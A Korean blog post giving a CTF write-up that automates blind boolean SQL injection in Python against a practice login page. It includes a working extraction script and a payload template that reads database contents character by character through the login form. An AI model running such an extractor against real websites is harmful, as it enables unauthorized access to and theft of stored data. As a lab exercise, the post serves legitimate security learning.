[Python] SQL injection 자동화 하기

CHIKA·2024년 6월 4일

[CTF] SQL Injection 6

Blind based SQL injection 자동화

SQL Injection 6 문제풀이 & 자동화

에러메시지가 안뜬다! Blind based SQLi 문제이다
Blind based SQLi란? 참고
Blind Practice를 수작업으로 풀 때 1시간이 넘게걸렸다..
Python으로 자동화를 해보자.

📌import requests
requests는 파이썬에서 HTTP요청을 보내는 모듈이다.
기본 내장 모듈이 아니라 따로 설치해주어야한다.
설치

pip install requests

1. request를 이용해서 로그인해보기

알고 있는 정보는
ID: normaltic / PW:1234 이다.
로그인 성공시와 로그인 실패시 response를 살펴보자.

로그인에 실패하면 Incorrect information.이라는 문구가 뜬다.
이걸 fail_message로 설정해서
response.text에 fail message가 존재하지 않으면 로그인 성공! 을 출력해보자.

import requests
url = "http://ctf.segfaulthub.com:7777/sqli_3/login.php"
fail_message = 'Incorrect information.'

data = {
    "UserId": "normaltic",
    "Password": "1234",
    "Submit": "Login"
    }

response = requests.post(url, data=data)

if fail_message not in response.text:
    print("로그인 성공!")

else:
    print("로그인 실패...")

터미널 창에서 실행해보자

맞는 로그인 정보 입력시-> 성공
틀린 로그인 정보 입력시-> 실패


2. SQL문 입력받기

import requests
url = "http://ctf.segfaulthub.com:7777/sqli_3/login.php"
fail_message = 'Incorrect information.'

def send_request(sql_query):
    data = {
    "UserId": sql_query,
    "Password": "1234",
    "Submit": "Login"
    }
    response = requests.post(url, data=data)
    return fail_message not in response.text
    
sql_query = input("sql을 입력하세요: ")

if send_request(sql_query):
    print("로그인 되었습니다")
else:
    print("로그인 실패")  


data로 UserId,Password,Submit 값을 넣어준다.
send_request에 변수 값으로 sql_query를 넣었다.
우리는 input으로 로그인 값을 받아 올 것이다.


잘못된 sql문을 입력하면 로그인에 실패한다.


3. 자동화해서 데이터 추출하기

import requests
url = "http://ctf.segfaulthub.com:7777/sqli_3/login.php"
fail_message = 'Incorrect information.'

def send_request(sql_query):
    data = {
    "UserId": sql_query,
    "Password": "1234",
    "Submit": "Login"
    }
    response = requests.post(url, data=data)
    return fail_message not in response.text

'''    
sql_query = input("sql을 입력하세요: ")
if send_request(sql_query):
    print("로그인 되었습니다")
else:
    print("로그인 실패")    
'''

def Blind_SQLi(sql):
    extract_info = ''
    for i in range(1,101): #최대 100글자 까지 추출
        for j in range(32,127): #ascii 문자 범위
            payload = f"normaltic' and (ascii(substr(({sql}),{i},1))={j}) and '1'='1"
            if send_request(payload):
                extract_info += chr(j)
                break
        else:
            break # 더 이상 글자가 없으면 종료
    return extract_info
    

sql_query = input("SQL 쿼리를 입력하세요: ")

extracted_data = Blind_SQLi(sql_query)
print(f"Extracted Data: {extracted_data}")

공격 format
normaltic' and (ascii(substr((SQL),N,1))=M) and '1'='1

N번째 문자의 아스키코드가 숫자 M 과 같으면 해당 글자를 extract_info에 순서대로 저장한다.
첫 글자부터 추출하여 더 이상 글자가 없으면 종료한다.
DB를 추출해보자.

제대로 결과가 나온다!

나머지도 같은 방법으로 추출해보자


성공!

참고자료
https://python101.tistory.com/entry/%ED%8C%8C%EC%9D%B4%EC%8D%ACPython-requests-%EC%82%AC%EC%9A%A9%EB%B2%95-%EC%A0%95%EB%A6%AC

0개의 댓글